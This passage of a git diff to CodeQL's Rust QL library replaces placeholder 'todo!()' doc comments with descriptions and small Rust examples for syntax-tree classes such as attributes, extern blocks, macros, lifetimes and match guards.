a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll index 112ead5d0b28..25b029776d17 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmOptionsList * be referenced directly. */ module Impl { + /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOptionsList extends Generated::AsmOptionsList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll index 2641e12598c5..53a858edd39e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmRegOperand * be referenced directly. */ module Impl { + /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmRegOperand extends Generated::AsmRegOperand { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll index 83b269eead64..2ceb7318ca53 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmRegSpec * be referenced directly. */ module Impl { + /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` + */ class AsmRegSpec extends Generated::AsmRegSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll index 9b26627dae9b..79ce8132ed0f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll @@ -12,5 +12,14 @@ private import codeql.rust.elements.internal.generated.AsmSym * be referenced directly. */ module Impl { + /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmSym extends Generated::AsmSym { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll index d4c871249b43..68e2945d377e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.AssocItem */ module Impl { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends Generated::AssocItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll index 9cefb4cd2dd3..02299ac619c4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.AssocItemList */ module Impl { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends Generated::AssocItemList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll index 075188ac0bdb..8c88fad65a61 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.AssocTypeArg */ module Impl { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` */ class AssocTypeArg extends Generated::AssocTypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll index afdac06f558d..e01d3c3652e4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Attr */ module Impl { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends Generated::Attr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll index e84935438981..dc7bced98899 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ClosureBinder */ module Impl { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` */ class ClosureBinder extends Generated::ClosureBinder { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll index c66296be9c4c..7a5a78df17cc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstArg */ module Impl { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends Generated::ConstArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll index b312e791d5e4..d2f3cde2d037 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Const */ module Impl { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends Generated::Const { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll index 72fcf2769470..e4ff7186254f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstParam */ module Impl { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends Generated::ConstParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll index 0e0337f20aa2..eb0e3722e215 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll @@ -15,6 +15,13 @@ module Impl { private import codeql.rust.elements.internal.NamedCrate private import codeql.rust.internal.PathResolution + // the following QLdoc is generated: if you need to edit it, do it in the schema file + /** + * A Crate. For example: + * ```rust + * todo!() + * ``` + */ class Crate extends Generated::Crate { override string toStringImpl() { result = strictconcat(int i | | this.toStringPart(i) order by i) diff --git a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll index c9e6bc7ea383..0ea1d4397f94 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.DynTraitTypeRepr */ module Impl { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends Generated::DynTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll index 39663b6a0e0a..e57a416fa721 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll @@ -15,9 +15,11 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends Generated::Enum { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll index 0bd734b88359..bb60d9c6e660 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ExternBlock */ module Impl { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends Generated::ExternBlock { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll index 6c219b20d794..af9e4005b196 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.ExternCrate */ module Impl { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends Generated::ExternCrate { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll index beabbf706eea..ac4f97d30713 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItem */ module Impl { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends Generated::ExternItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll index 255074a9bf95..f2281c5f6d87 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItemList */ module Impl { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends Generated::ExternItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll index 1af239797c0f..c10e57902291 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.FieldList */ module Impl { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends Generated::FieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll index 3710b4589d5d..41d1151ac362 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.FnPtrTypeRepr */ module Impl { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends Generated::FnPtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll index b333702c9415..2fe247e5e292 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ForExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends Generated::ForExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 67db6fdcd020..4b9859220528 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ForTypeRepr */ module Impl { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` */ class ForTypeRepr extends Generated::ForTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll index 9d9e3561472b..88f6a627140c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericArg */ module Impl { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends Generated::GenericArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll index 28027026ae8d..1956046a8dd9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericParam */ module Impl { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends Generated::GenericParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll index 7b23a2e854ba..298e07f4b3e9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Impl module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends Generated::Impl { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll index 74efa4f2190e..6cbaa60da088 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ImplTraitTypeRepr */ module Impl { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends Generated::ImplTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll index 1df33c2c3ccf..b06339e6bf6a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.InferTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends Generated::InferTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll index 1a453671cbf5..f211708bc812 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Item */ module Impl { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ class Item extends Generated::Item { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll index 668bf039eb62..2d94e6340dd2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ItemList */ module Impl { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends Generated::ItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll index 11643dcbcb48..9a36a8a28081 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.LetElse module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends Generated::LetElse { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll index d4f0373cda34..98bcb5cca210 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeArg */ module Impl { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` */ class LifetimeArg extends Generated::LifetimeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll index e15f5733748a..1825cf5804d5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Lifetime module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends Generated::Lifetime { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll index e4918e4cf56f..7db6c5bcb69f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeParam */ module Impl { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends Generated::LifetimeParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll index f8f96315fd4c..dacb8b3a7077 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll @@ -22,9 +22,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ class MacroCall extends Generated::MacroCall { diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll index 17d0293b1088..da91b4256df8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MacroDef */ module Impl { /** - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroDef extends Generated::MacroDef { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll index 42c46e9e60b6..2dfb6e445ac4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.MacroExpr */ module Impl { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends Generated::MacroExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll index 70c056fa5c16..26f0cd5c7b74 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.MacroPat */ module Impl { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ class MacroPat extends Generated::MacroPat { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll index ca0051dce8d0..5d5b45ea84f6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.MacroRules */ module Impl { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends Generated::MacroRules { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll index 6ef366ccdfdc..de57e6a82264 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.MacroTypeRepr */ module Impl { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends Generated::MacroTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll index 5e1ac06282a5..6f77dc0b42fc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.MatchArmList */ module Impl { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends Generated::MatchArmList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll index e4bc039ee535..495fcc88ef65 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MatchGuard */ module Impl { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends Generated::MatchGuard { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll index 1e6b30b6249b..dd6ad1891c00 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Meta */ module Impl { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` */ class Meta extends Generated::Meta { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll index 95e2fba90123..9290a1b06de0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Name module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends Generated::Name { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll index 373790de6e4c..8f7260bfd08f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NameRef module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends Generated::NameRef { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll index aff4282dadbc..d8b2270bdc9b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NeverTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NeverTypeRepr. For example: + 